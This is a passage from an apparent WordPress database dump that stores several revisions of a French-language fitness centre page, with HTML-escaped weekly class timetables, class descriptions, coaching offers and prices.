coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:48:06', '2013-10-05 08:48:06', '', 11, 'http://www.crosstrainingcenter.be/11-revision-119/', 0, 'revision', '', 0),
(347, 1, '2013-10-05 08:40:45', '2013-10-05 08:40:45', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:40:45', '2013-10-05 08:40:45', '', 11, 'http://www.crosstrainingcenter.be/11-revision-118/', 0, 'revision', '', 0);
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(350, 1, '2013-10-05 08:51:08', '2013-10-05 08:51:08', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus 